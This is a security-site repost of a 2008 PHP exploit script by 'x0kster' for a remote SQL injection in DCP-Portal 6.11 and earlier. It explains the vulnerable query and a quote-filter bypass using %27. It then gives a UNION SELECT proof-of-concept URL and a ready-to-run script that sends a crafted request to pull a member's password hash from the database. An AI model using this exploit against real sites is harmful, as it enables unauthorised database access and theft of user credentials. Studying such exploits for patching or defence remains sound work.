首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
DCP-Portal <= 6.11 Remote SQL Injection Exploi
来源:x0kster[AT]gmail[DOT]com 作者:x0kster 发布时间:2008-01-07  
#!/usr/bin/php -q
<?php
echo "[*]DCP Portal <= 6.11 Remote SQL Injection Exploit\r\n";
echo "[*]Coded by x0kster -x0kster[AT]gmail[DOT]com - \r\n";
/*
Note : Magic Quotes = 0
Script Download : http://www.dcp-portal.org/

Bug in index.php :

     <?php
     //index.php
     [...]
60.  $sql = "SELECT id, name FROM $t_cats WHERE cat_id = '".$_GET["cid"]."' ORDER BY sort, name";
     [...]
     ?>
    
But the script filter the quotes with this code, included in each page of the cms:
  
     <?php
     //config/config.inc.php
     [...]
118.  if (strlen($_SERVER['QUERY_STRING']) > 0) { 
119.  $str = $_SERVER['QUERY_STRING']; 
120.  $arr = split('[;&]', URLdecode($str)); 
121.  $pos = strpos($str, "'"); 
122.  if ($pos) {   
123.  $hackattempt = true;  } 
     [...]
     ?>
    
But we can bypass this control using %27 instead ' :-).

So this is the simple PoC:
http://site/path/index.php?cid=-1%27+union+select+1,password+from+dcp5_members+where+uid=1/*

Exploit :
*/
if ($argc<4) {
echo "[*]Usage: php ".$argv[0]." host path id\r\n";
echo "[*]Example:\r\n";
echo "[*]php ".$argv[0]." localhost /dcp-portal/ 1\r\n";
die;
}

function get_response($packet){
global $host, $response;
$socket=fsockopen(gethostbyname($host),80);
if (!$socket) { echo "[-]Error contacting $host.\r\n"; exit();}
fputs($socket,$packet);
$response='';
while (!feof($socket)) {
  $response.=fgets($socket);
    }
fclose($socket);
}

$host =$argv[1];
$path =$argv[2];
$id = $argv[3];

$packet ="GET ".$path."index.php?cid=-1%27+union+select+1,concat(0x78306b73746572,password,0x78306b73746572)+from+dcp5_members+where+uid=".$id."/*";
$packet.="Host: ".$host."\r\n";
$packet.="Connection: Close\r\n\r\n";

get_response($packet);
if(strstr($response,"x0kster")){
$hash = explode("x0kster",$response,32);
echo "[+]Ok, the hash is : $hash[1]\r\n";
die;
}else{
echo "[-]Exploit filed, maybe fixed or incorrect id.\r\n";
die;
}   

?>

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Site@School <= 2.3.10 Remote B
·Half-Life CSTRIKE Server 1.6 D
·MyPHP Forum <= 3.0 (Final) Rem
·FlexBB <= 0.6.3 Cookies Remote
·DivX Player 6.6.0 ActiveX SetP
·Eggblog <= 3.1.0 Cookies Remot
·WebPortal CMS <= 0.6.0 (index.
·ClamAV 0.91.2 libclamav MEW PE
·Vantage Linguistics AnswerWork
·Microsoft DirectX SAMI File Pa
·oneSCHOOL (all versions) admin
·PHP Webquest 2.6 (id_actividad
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved